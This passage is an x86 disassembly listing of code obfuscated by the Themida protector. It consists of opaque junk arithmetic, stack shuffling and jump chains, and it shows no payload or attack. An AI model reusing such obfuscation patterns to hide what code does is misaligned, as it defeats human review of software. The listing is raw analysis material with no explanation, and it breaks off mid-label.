		xor	esi, 0D017DC5Ch
		jmp	loc_56AE07
; ---------------------------------------------------------------------------


loc_56F22B:				; CODE XREF: Themida_:0056B6F4j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_572195
; ---------------------------------------------------------------------------


loc_56F243:				; CODE XREF: Themida_:0056724Aj
		sub	ecx, 796A750Fh
		sub	ecx, eax
		add	ecx, 796A750Fh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_565F1D
; ---------------------------------------------------------------------------


loc_56F260:				; CODE XREF: Themida_:005678BDj
		push	bx
		push	eax
		mov	al, 43h
		mov	bl, 69h
		sub	bl, al
		jmp	loc_567334
; ---------------------------------------------------------------------------


loc_56F26E:				; CODE XREF: Themida_:00570599j
		shr	ebx, 2
		jmp	loc_56C2F1
; ---------------------------------------------------------------------------


loc_56F276:				; CODE XREF: Themida_:005693BDj
		push	ebx
		mov	ebx, 0D6F533Ch
		sub	ebx, 0C37BF32Eh
		jmp	loc_56BCF0
; ---------------------------------------------------------------------------


loc_56F287:				; CODE XREF: Themida_:00573481j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56F295:				; CODE XREF: Themida_:005622C7j
		mov	ebx, 11A02DADh
		shr	ebx, 4
		push	esi
		mov	esi, 63B64059h
		add	esi, 128FFB79h
		sub	ebx, esi
		pop	esi
		jmp	loc_568363
; ---------------------------------------------------------------------------


loc_56F2B1:				; CODE XREF: Themida_:005709DCj
		push	0B09h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_569D67
; ---------------------------------------------------------------------------


loc_56F2C0:				; CODE XREF: Themida_:0056BAFCj
		pop	ecx
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_572E15
; ---------------------------------------------------------------------------


loc_56F2CE:				; CODE XREF: Themida_:0056AF93j
		push	esp
		jmp	loc_56C16D
; ---------------------------------------------------------------------------


loc_56F2D4:				; CODE XREF: Themida_:0056EEC6j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	47E9h
		mov	[esp], eax
		push	4
		pop	eax
		sub	edx, 29FF1ECAh
		jmp	loc_5741FA
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		add	dword ptr [esp], 6140E79h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	4025h
		mov	[esp], edi
		push	0D25h
		mov	[esp], ecx
		jmp	loc_55FE33
; ---------------------------------------------------------------------------


loc_56F32A:				; CODE XREF: Themida_:00573A0Ej
		and	esi, 62C26C4Fh
		sub	esi, 0B8F5BE02h
		mov	edx, esi
		pop	esi
		inc	edx
		jmp	loc_56FCF7
; ---------------------------------------------------------------------------


loc_56F33F:				; CODE XREF: Themida_:005611C9j
		sub	esp, 4
		jmp	loc_56B65D
; ---------------------------------------------------------------------------


loc_56F347:				; CODE XREF: Themida_:0056CFD6j
		pop	edi
		push	ebp
		push	ebx
		mov	ebx, 4B3C6ABFh
		or	ebx, 41633D35h
		not	ebx
		sub	ebx, 27F64624h
		dec	ebx
		xor	ebx, 8C8A3A1Fh
		mov	ebp, ebx
		jmp	loc_56EF8A
; ---------------------------------------------------------------------------


loc_56F36B:				; CODE XREF: Themida_:00573B0Cj
		shr	ebx, 8
		push	edx
		mov	edx, 5EDD3E38h
		jmp	loc_561A35
; ---------------------------------------------------------------------------


loc_56F379:				; CODE XREF: Themida_:00569C1Cj
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56F37E:				; CODE XREF: Themida_:00561949j
		push	edi
		jmp	loc_564531
; ---------------------------------------------------------------------------


loc_56F384:				; CODE XREF: Themida_:00561280j
		sub	edi, 7E4467ACh
		pop	esi
		push	edx
		jmp	loc_5706E9
; ---------------------------------------------------------------------------


loc_56F391:				; CODE XREF: Themida_:0057367Ej
		mov	edi, 6782BE7h
		shr	edi, 6
		jmp	loc_56FA57
; ---------------------------------------------------------------------------


loc_56F39E:				; CODE XREF: Themida_:00569C51j
		mov	cx, [esp]
		jmp	loc_5716E2
; ---------------------------------------------------------------------------


loc_56F3A7:				; CODE XREF: Themida_:005732BBj
		sub	dword ptr [esp+4], 62531962h
		jmp	loc_567226
; ---------------------------------------------------------------------------


loc_56F3B4:				; CODE XREF: Themida_:005713CFj
		xor	[esp], ecx
		jmp	loc_571659
; ---------------------------------------------------------------------------


loc_56F3BC:				; CODE XREF: Themida_:005683B1j
		neg	bh
		jmp	loc_568687
; ---------------------------------------------------------------------------


loc_56F3C3:				; CODE XREF: Themida_:00561250j
		mov	esi, 4FBB25F8h
		not	esi
		dec	esi
		add	esi, 135F24F6h
		sub	ebp, esi
		pop	esi
		add	edi, ebp
		pop	ebp
		xor	edi, [esp]
		jmp	loc_568994
; ---------------------------------------------------------------------------


loc_56F3DF:				; CODE XREF: Themida_:005631C3j
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_56BBE9
; ---------------------------------------------------------------------------


loc_56F3EB:				; CODE XREF: Themida_:0056203Fj
		sub	esi, 4CB501C7h
		xor	esi, 8D35090Dh
		sub	ecx, esi
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 55A437FEh
		jmp	loc_573EF5
; ---------------------------------------------------------------------------


loc_56F40E:				; CODE XREF: Themida_:00568EDEj
		mov	[esp], ecx
		mov	ecx, 2C017265h
		jmp	loc_56067B
; ---------------------------------------------------------------------------


loc_56F41B:				; CODE XREF: Themida_:0055FBAAj
		xor	ecx, 1022EECDh
		add	ebx, 16985CFEh
		add	ebx, ecx
		sub	ebx, 16985CFEh
		pop	ecx
		add	ebx, eax
		push	0C0Ah
		mov	[esp], ebp
		mov	ebp, 13CA4194h
		jmp	loc_563D55
; ---------------------------------------------------------------------------


loc_56F444:				; CODE XREF: Themida_:0056F06Ej
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_562474
; ---------------------------------------------------------------------------


loc_56F452:				; CODE XREF: Themida_:0056F4F1j
		pop	edx
		pop	edi
		push	ebx
		mov	ebx, 54F7719Eh
		push	eax
		mov	eax, 4AEB4B82h
		jmp	loc_561486
; ---------------------------------------------------------------------------


loc_56F465:				; CODE XREF: Themida_:00561114j
		mov	edx, esi
		jmp	loc_56242C
; ---------------------------------------------------------------------------


loc_56F46C:				; CODE XREF: Themida_:00561A5Cj
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_571A29
; ---------------------------------------------------------------------------


loc_56F478:				; CODE XREF: Themida_:0056297Bj
		mov	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, ebp
		mov	ebx, edx
		mov	edx, [esp]
		jmp	loc_56005F
; ---------------------------------------------------------------------------


loc_56F48F:				; CODE XREF: Themida_:005720C4j
		sub	ebx, eax
		pop	eax
		mov	edx, [esp]
		push	7051h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_562998
; ---------------------------------------------------------------------------


loc_56F4AA:				; CODE XREF: Themida_:005721EDj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 7
		push	ebx
		jmp	loc_569E46
; ---------------------------------------------------------------------------


loc_56F4C3:				; CODE XREF: Themida_:0056ACEDj
		push	eax
		jmp	loc_56C46C
; ---------------------------------------------------------------------------


loc_56F4C9:				; CODE XREF: Themida_:005614E4j
		add	al, 0BCh
		jmp	loc_572555
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_564E69
; ---------------------------------------------------------------------------


loc_56F4DC:				; CODE XREF: Themida_:0056AD10j
		pop	ebp
		sub	dword ptr [esp+4], 28B56816h
		add	[esp+4], edx
		add	dword ptr [esp+4], 28B56816h
		jmp	loc_56F452
; ---------------------------------------------------------------------------


loc_56F4F6:				; CODE XREF: Themida_:005671DCj
		add	esp, 4
		push	edx
		mov	edx, 68A86349h
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		xchg	esi, edx
		dec	esi
		jmp	loc_56667E
; ---------------------------------------------------------------------------


loc_56F510:				; CODE XREF: Themida_:00565FB6j
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56F1C7
; ---------------------------------------------------------------------------


loc_56F51F:				; CODE XREF: Themida_:0056BC57j
		push	ecx
		push	ebx
		mov	ebx, 55E2233h
		mov	ecx, ebx
		pop	ebx
		and	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 22350872h
		push	1D49h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 72D941EDh
		mov	ebp, 0D6889D43h
		jmp	loc_56E67F
; ---------------------------------------------------------------------------


loc_56F54A:				; CODE XREF: Themida_:00563D50j
		mov	edx, 0DC96D91h
		jmp	loc_566D3D
; ---------------------------------------------------------------------------


loc_56F554:				; CODE XREF: Themida_:00561DFAj
		movzx	cx, al
		jmp	loc_565A18
; ---------------------------------------------------------------------------


loc_56F55D:				; CODE XREF: Themida_:0057012Aj
		push	74E1h
		mov	[esp], edx
		jmp	loc_56FA30
; ---------------------------------------------------------------------------


loc_56F56A:				; CODE XREF: Themida_:0056D7AAj
		xchg	edi, edx
		sub	edx, 7B3A7092h
		jmp	loc_56A236
; ---------------------------------------------------------------------------


loc_56F577:				; CODE XREF: Themida_:00562CA7j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56F57C:				; CODE XREF: Themida_:005694CAj
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 4F672Ch
		jmp	loc_561670
; ---------------------------------------------------------------------------


loc_56F58F:				; CODE XREF: Themida_:00566EA0j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56D9ED
; ---------------------------------------------------------------------------


loc_56F5A3:				; CODE XREF: Themida_:00560A89j
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56659F
; ---------------------------------------------------------------------------


loc_56F5B3:				; CODE XREF: Themida_:0056164Fj
		pop	ebp
		jmp	loc_56BC66
; ---------------------------------------------------------------------------


loc_56F5B9:				; CODE XREF: Themida_:00563EC1j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56652E
; ---------------------------------------------------------------------------


loc_56F5CB:				; CODE XREF: Themida_:0056E595j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 1CCC4C63h
		shl	ecx, 2
		inc	ecx
		jmp	loc_56A424
; ---------------------------------------------------------------------------


loc_56F5E9:				; CODE XREF: Themida_:005659CCj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_571671
; ---------------------------------------------------------------------------


loc_56F5F7:				; CODE XREF: Themida_:0056D32Bj
		idiv	cx
		push	small 1E68h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_56442D
; ---------------------------------------------------------------------------


loc_56F60A:				; CODE XREF: Themida_:0056784Aj
		sub	eax, esi
		sub	eax, 5013112h
		push	esi
		jmp	loc_5695F4
; ---------------------------------------------------------------------------


loc_56F617:				; CODE XREF: Themida_:00567CCCj
		pop	edi
		add	edi, 4
		push	eax
		mov	eax, 4
		push	ebp
		push	ecx
		mov	ecx, 3036445Ch
		neg	ecx
		sub	ecx, 6F0A9DA6h
		mov	ebp, ecx
		jmp	loc_56F6ED
; ---------------------------------------------------------------------------


loc_56F63A:				; CODE XREF: Themida_:00560281j
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	66A9h
		jmp	loc_57366C
; ---------------------------------------------------------------------------


loc_56F655:				; CODE XREF: Themida_:00569591j
		mov	ebx, 189316A5h
		xor	edx, ebx
		pop	ebx
		push	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	edx
		push	esi
		push	edi
		mov	edi, 0F70848h
		jmp	loc_57275B
; ---------------------------------------------------------------------------


loc_56F679:				; CODE XREF: Themida_:00574727j
		inc	byte ptr [esp]
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56F682:				; CODE XREF: Themida_:005668F9j
		mov	ebx, 2D6A50C0h
		jmp	loc_56F94C
; ---------------------------------------------------------------------------


loc_56F68C:				; CODE XREF: Themida_:00566A0Ej
		push	edi
		jmp	loc_569638
; ---------------------------------------------------------------------------


loc_56F692:				; CODE XREF: Themida_:00560CD9j
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_564C59
; ---------------------------------------------------------------------------


loc_56F6A1:				; CODE XREF: Themida_:0056079Bj
		add	edx, esi
		pop	esi
		jmp	loc_561C37
; ---------------------------------------------------------------------------


loc_56F6A9:				; CODE XREF: Themida_:0056D41Ej
		add	esi, 380521D7h
		jmp	loc_5629F4
; ---------------------------------------------------------------------------


loc_56F6B4:				; CODE XREF: Themida_:0056A440j
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_56337C
; ---------------------------------------------------------------------------


loc_56F6C5:				; CODE XREF: Themida_:0056C5ECj
		add	edi, 399B1CAFh
		pop	ecx
		jmp	loc_567A26
; ---------------------------------------------------------------------------


loc_56F6D1:				; CODE XREF: Themida_:00561FCEj
		mov	[esp], ecx
		mov	ecx, 2DEB4AC9h
		shr	ecx, 3
		not	ecx
		jmp	loc_560AEA
; ---------------------------------------------------------------------------


loc_56F6E3:				; CODE XREF: Themida_:00574047j
		mov	esi, 1B0D5108h
		jmp	loc_570AFA
; ---------------------------------------------------------------------------


loc_56F6ED:				; CODE XREF: Themida_:0056F635j
		pop	ecx
		dec	ebp
		sub	esp, 4
		mov	[esp], ebp
		xchg	ebx, [esp]
		jmp	loc_56D8AC
; ---------------------------------------------------------------------------


loc_56F700:				; CODE XREF: Themida_:00568ED8j
		and	esi, ecx
		pop	ecx
		sub	esi, 10E3Dh
		push	ecx
		jmp	loc_56EDEF
; ---------------------------------------------------------------------------


loc_56F70F:				; CODE XREF: Themida_:00570928j
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_562B9F
; ---------------------------------------------------------------------------


loc_56F71A:				; CODE XREF: Themida_:00573495j
		bt	[esp], eax
		pushf
		jmp	loc_567D01
; ---------------------------------------------------------------------------


loc_56F724:				; CODE XREF: Themida_:005615CBj
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 1EEF03E7h
		inc	ebp
		add	ebp, 194F7B4Ah
		push	ebx
		mov	ebx, 2B247424h
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_563443
; ---------------------------------------------------------------------------


loc_56F762:				; CODE XREF: Themida_:00570857j
		xor	ebp, 5F9D23A2h
		jmp	loc_5630FE
; ---------------------------------------------------------------------------


loc_56F76D:				; CODE XREF: Themida_:00562489j
		sub	[esp+8], eax
		sub	dword ptr [esp+8], 7E9A7701h
		pop	eax
		jmp	loc_571455
; ---------------------------------------------------------------------------


loc_56F77F:				; CODE XREF: Themida_:005611D1j
		push	edi
		mov	edi, 48B978BBh
		jmp	loc_56AAD6
; ---------------------------------------------------------------------------


loc_56F78A:				; CODE XREF: Themida_:0056CD39j
		mov	[esp], eax
		mov	eax, 65991BCEh
		xor	edi, eax
		pop	eax
		push	esi
		push	edx
		push	13C51AABh
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 7C5BA68h
		mov	esi, edx
		jmp	loc_57102A
; ---------------------------------------------------------------------------


loc_56F7B2:				; CODE XREF: Themida_:0056F947j
		mov	esp, [esp]
		jmp	loc_56E3F2
; ---------------------------------------------------------------------------


loc_56F7BA:				; CODE XREF: Themida_:0057421Bj
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_566526
; ---------------------------------------------------------------------------


loc_56F7CD:				; CODE XREF: Themida_:005651F2j
		xor	al, bl
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		jmp	loc_56FE95
; ---------------------------------------------------------------------------


loc_56F7E8:				; CODE XREF: Themida_:0056C222j
		mov	[esp], ebp
		push	edi
		jmp	loc_56A84E
; ---------------------------------------------------------------------------


loc_56F7F1:				; CODE XREF: Themida_:0056952Cj
		xor	esi, [esp]
		pop	esp
		jmp	loc_56033B
; ---------------------------------------------------------------------------


loc_56F7FA:				; CODE XREF: Themida_:00564B23j
		not	dword ptr [esp]
		pop	ecx
		push	eax
		push	49C1h
		mov	[esp], ecx
		jmp	loc_568C7F
; ---------------------------------------------------------------------------


loc_56F80C:				; CODE XREF: Themida_:0056B4D0j
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		or	ebp, 2A935BDFh
		sub	ebp, 5A45527Ah
		add	eax, ebp
		pop	ebp
		add	eax, ecx
		sub	eax, 114E0D65h
		jmp	loc_571E60
; ---------------------------------------------------------------------------


loc_56F82F:				; CODE XREF: Themida_:0055FBC4j
		push	34D1h
		jmp	loc_572C1F
; ---------------------------------------------------------------------------


loc_56F839:				; CODE XREF: Themida_:00567981j
		push	4
		pop	ecx
		jmp	loc_560137
; ---------------------------------------------------------------------------


loc_56F844:				; CODE XREF: Themida_:005634F8j
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5708D4
; ---------------------------------------------------------------------------


loc_56F858:				; CODE XREF: Themida_:0056C612j
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55FCDB
; ---------------------------------------------------------------------------


loc_56F867:				; CODE XREF: Themida_:0056921Fj
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	72311633h
		pop	eax
		sub	eax, 8B985F5Bh
		mov	ebx, eax
		jmp	loc_57349A
; ---------------------------------------------------------------------------


loc_56F880:				; CODE XREF: Themida_:00566390j
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		jmp	loc_5623CD
; ---------------------------------------------------------------------------


loc_56F894:				; CODE XREF: Themida_:00572E39j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_572AC0
; ---------------------------------------------------------------------------


loc_56F8B2:				; CODE XREF: Themida_:0057232Cj
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56F8B7:				; CODE XREF: Themida_:00569D70j
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5C2047D6h
		or	eax, 0D53B99h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0F202FF4h
		jmp	loc_5619C2
; ---------------------------------------------------------------------------


loc_56F8DE:				; CODE XREF: Themida_:0056A864j
		pop	esi
		mov	esi, edx
		pop	edx
		push	edi
		mov	edi, 76C95D53h
		add	edi, 762573A9h
		sub	edi, 3E5450EEh
		add	esi, edi
		pop	edi
		jmp	loc_56A621
; ---------------------------------------------------------------------------


loc_56F8FC:				; CODE XREF: Themida_:005610CBj
		add	esp, 4
		xor	ecx, 0A950DB87h
		add	esi, 74714E7Bh
		add	esi, ecx
		sub	esi, 74714E7Bh
		mov	ecx, [esp]
		push	edi
		jmp	loc_56EDB8
; ---------------------------------------------------------------------------


loc_56F91F:				; CODE XREF: Themida_:0056A250j
		mov	esi, eax
		pop	eax
		sub	esi, 650C19D5h
		add	esi, 179AC887h
		xor	edi, esi
		mov	esi, [esp]
		jmp	loc_571107
; ---------------------------------------------------------------------------


loc_56F938:				; CODE XREF: Themida_:00562314j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_56B0CD
; ---------------------------------------------------------------------------


loc_56F944:				; CODE XREF: Themida_:0056EF2Bj
		pop	dword ptr [esp]
		jmp	loc_56F7B2
; ---------------------------------------------------------------------------


loc_56F94C:				; CODE XREF: Themida_:0056F687j
		sub	esi, 42421D0Bh
		add	esi, 735A0336h
		add	esi, 0ECA27A8h
		sub	esi, ebx
		jmp	loc_562026
; ---------------------------------------------------------------------------


loc_56F965:				; CODE XREF: Themida_:00571A37j
		add	ebx, eax
		push	ecx
		push	edx
		push	7A7C423Bh
		pop	edx
		neg	edx
		not	edx
		jmp	loc_562C38
; ---------------------------------------------------------------------------


loc_56F978:				; CODE XREF: Themida_:005647AFj
		mov	ebp, 55DC47ACh
		sub	ebp, 3C9950B4h
		or	ebp, 28E1690h
		shl	ebp, 4
		jmp	loc_56FC16
; ---------------------------------------------------------------------------
		push	edx
		push	5DCFh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_56B9ED
; ---------------------------------------------------------------------------


loc_56F9AA:				; CODE XREF: Themida_:0056EE3Ej
		add	eax, 68427950h
		sub	eax, 728F6590h
		push	dword ptr [esp]
		jmp	loc_5661A7
; ---------------------------------------------------------------------------


loc_56F9BC:				; CODE XREF: Themida_:0056005Aj
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5674F0
; ---------------------------------------------------------------------------


loc_56F9CF:				; CODE XREF: Themida_:0056D40Cj
		pop	si
		mov	bp, dx
		pop	edx
		xor	ax, bp
		jmp	loc_5714B5
; ---------------------------------------------------------------------------


loc_56F9DD:				; CODE XREF: Themida_:005740BCj
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_560F42
; ---------------------------------------------------------------------------


loc_56F9EF:				; CODE XREF: Themida_:0056EF35j
		not	ah
		jmp	loc_5725F5
; ---------------------------------------------------------------------------


loc_56F9F6:				; CODE XREF: Themida_:00568FCAj
		xor	ecx, 0A71EE095h
		sub	ebp, ecx
		pop	ecx
		push	ebx
		push	eax
		mov	eax, 44484BDDh
		mov	ebx, eax
		pop	eax
		add	ebp, ebx
		pop	ebx
		add	ebp, 36555AD0h
		add	ebp, edx
		sub	ebp, 36555AD0h
		jmp	loc_563AE9
; ---------------------------------------------------------------------------


loc_56FA1F:				; CODE XREF: Themida_:0055FF00j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	3471h
		jmp	loc_5610C2
; ---------------------------------------------------------------------------


loc_56FA30:				; CODE XREF: Themida_:0056F565j
		mov	edx, 631A7C1Ch
		add	eax, edx
		pop	edx
		sub	eax, 9B317EF9h
		sub	edi, eax
		jmp	loc_5622E9
; ---------------------------------------------------------------------------


loc_56FA44:				; CODE XREF: Themida_:0056CD02j
		add	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_565C5E
; ---------------------------------------------------------------------------


loc_56FA57:				; CODE XREF: Themida_:0056F399j
		sub	edi, 7BD4552Ah
		xor	edi, 0BB52A52Dh
		add	edx, edi
		pop	edi
		push	edx
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_572BE2
; ---------------------------------------------------------------------------


loc_56FA73:				; CODE XREF: Themida_:00569A17j
		mov	[esp], esi
		mov	esi, 79F2653Bh
		jmp	loc_573613
; ---------------------------------------------------------------------------


loc_56FA80:				; CODE XREF: Themida_:00561077j
		push	edi
		mov	edi, 78011DC2h
		jmp	loc_56C1A1
; ---------------------------------------------------------------------------


loc_56FA8B:				; CODE XREF: Themida_:005743C8j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 17950810h
		or	ecx, 31147670h
		or	ecx, 31E04AF6h
		xor	ecx, 37F57EF2h
		add	ebp, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3D8F5ECFh
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		sub	ebp, 0C270A12Ch
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		jmp	loc_57196E
; ---------------------------------------------------------------------------


loc_56FADC:				; CODE XREF: Themida_:005636C7j
		pop	eax
		jmp	loc_56CA0E
; ---------------------------------------------------------------------------


loc_56FAE2:				; CODE XREF: Themida_:0056BE41j
		or	cl, 0F6h
		not	cl
		push	ebx
		mov	bh, 0A7h
		add	bh, 83h
		add	bh, 0C2h
		shr	bh, 7
		push	ecx
		jmp	loc_56316C
; ---------------------------------------------------------------------------


loc_56FAF9:				; CODE XREF: Themida_:005605DBj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56902D
; ---------------------------------------------------------------------------


loc_56FB06:				; CODE XREF: Themida_:0056B82Ej
		mov	edi, ebx
		mov	ebx, [esp]
		jmp	loc_56B20B
; ---------------------------------------------------------------------------


loc_56FB10:				; CODE XREF: Themida_:00569826j
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_574747
; ---------------------------------------------------------------------------


loc_56FB2B:				; CODE XREF: Themida_:0056658Bj
		inc	esi
		push	edi
		mov	edi, 350A1DE6h
		push	7E91h
		mov	[esp], eax
		jmp	loc_5615B1
; ---------------------------------------------------------------------------


loc_56FB3F:				; CODE XREF: Themida_:0056C43Dj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56FB51:				; CODE XREF: Themida_:00567FCEj
		pop	edi
		mov	eax, ebp
		pop	ebp
		add	dword ptr [esp+4], 77BC712Ah
		add	[esp+4], eax
		jmp	loc_56B6AA
; ---------------------------------------------------------------------------


loc_56FB66:				; CODE XREF: Themida_:00573543j
		add	eax, 57105FFDh
		sub	eax, 0B6EFA7F8h
		add	edx, eax
		jmp	loc_56D275
; ---------------------------------------------------------------------------


loc_56FB77:				; CODE XREF: Themida_:0056FC8Cj
		and	edx, 384F2724h
		push	ebp
		mov	ebp, 0DB7CE7C8h
		sub	edx, ebp
		jmp	loc_56A982
; ---------------------------------------------------------------------------


loc_56FB8A:				; CODE XREF: Themida_:0056BC75j
		shl	esi, 2
		or	esi, 19C819F0h
		sub	esi, 9CBC9EBAh
		mov	ebp, esi
		pop	esi
		shr	ebp, 7
		jmp	loc_5676D3
; ---------------------------------------------------------------------------


loc_56FBA4:				; CODE XREF: Themida_:0056BB9Cj
		push	edi
		jmp	loc_56D681
; ---------------------------------------------------------------------------


loc_56FBAA:				; CODE XREF: Themida_:00569B6Fj
		pop	ebp
		jmp	loc_573119
; ---------------------------------------------------------------------------


loc_56FBB0:				; CODE XREF: Themida_:00568E5Aj
		mov	edx, [esp]
		push	5740h
		mov	[esp], eax
		jmp	loc_56205B
; ---------------------------------------------------------------------------


loc_56FBC0:				; CODE XREF: Themida_:00562302j
		push	ebx
		mov	bl, 57h
		sub	dl, bl
		pop	ebx
		sub	ah, dl
		mov	edx, [esp]
		add	esp, 4
		add	ah, 0FFh
		or	ah, 8Fh
		sub	ah, 72h
		jmp	loc_572802
; ---------------------------------------------------------------------------


loc_56FBDF:				; CODE XREF: Themida_:0056C880j
		mov	edx, [esp]
		jmp	loc_56D2F0
; ---------------------------------------------------------------------------


loc_56FBE7:				; CODE XREF: Themida_:0056A50Aj
		sub	eax, ebp
		sub	eax, 38527B9Fh
		pop	ebp
		push	esi
		jmp	loc_57160C
; ---------------------------------------------------------------------------


loc_56FBF5:				; CODE XREF: Themida_:0056CFEFj
		add	edi, ecx
		jmp	loc_561C65
; ---------------------------------------------------------------------------


loc_56FBFC:				; CODE XREF: Themida_:00568D28j
		add	ebp, 4
		jmp	loc_56168F
; ---------------------------------------------------------------------------


loc_56FC04:				; CODE XREF: Themida_:00572315j
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_570BFF
; ---------------------------------------------------------------------------


loc_56FC16:				; CODE XREF: Themida_:0056F98Cj
		xor	ebp, 0E2AB31B9h
		xor	edi, ebp
		pop	ebp
		jmp	loc_568775
; ---------------------------------------------------------------------------


loc_56FC24:				; CODE XREF: Themida_:0056CF8Ej
		mov	[esp], ax
		jmp	loc_56C5B8
; ---------------------------------------------------------------------------


loc_56FC2D:				; CODE XREF: Themida_:00573B9Bj
		push	eax
		jmp	loc_562242
; ---------------------------------------------------------------------------


loc_56FC33:				; CODE XREF: Themida_:00561EADj
		pop	ebx
		add	edx, ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 7BE578C8h
		jmp	loc_56F07A
; ---------------------------------------------------------------------------


loc_56FC48:				; CODE XREF: Themida_:005689DAj
		push	esi
		mov	esi, 27771872h
		push	edx
		mov	edx, 191E518Ch
		inc	edx
		jmp	loc_561196
; ---------------------------------------------------------------------------


loc_56FC5A:				; CODE XREF: Themida_:005743ADj
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	35496D47h
		jmp	loc_569A9D
; ---------------------------------------------------------------------------


loc_56FC6E:				; CODE XREF: Themida_:0056399Fj
		mov	ebx, 76AB73FAh
		add	ebx, 89548C0Ah
		jmp	loc_568B56
; ---------------------------------------------------------------------------


loc_56FC7E:				; CODE XREF: Themida_:0056115Fj
		push	edx
		mov	dl, 9Dh
		jmp	loc_568CAA
; ---------------------------------------------------------------------------


loc_56FC86:				; CODE XREF: Themida_:00563FC6j
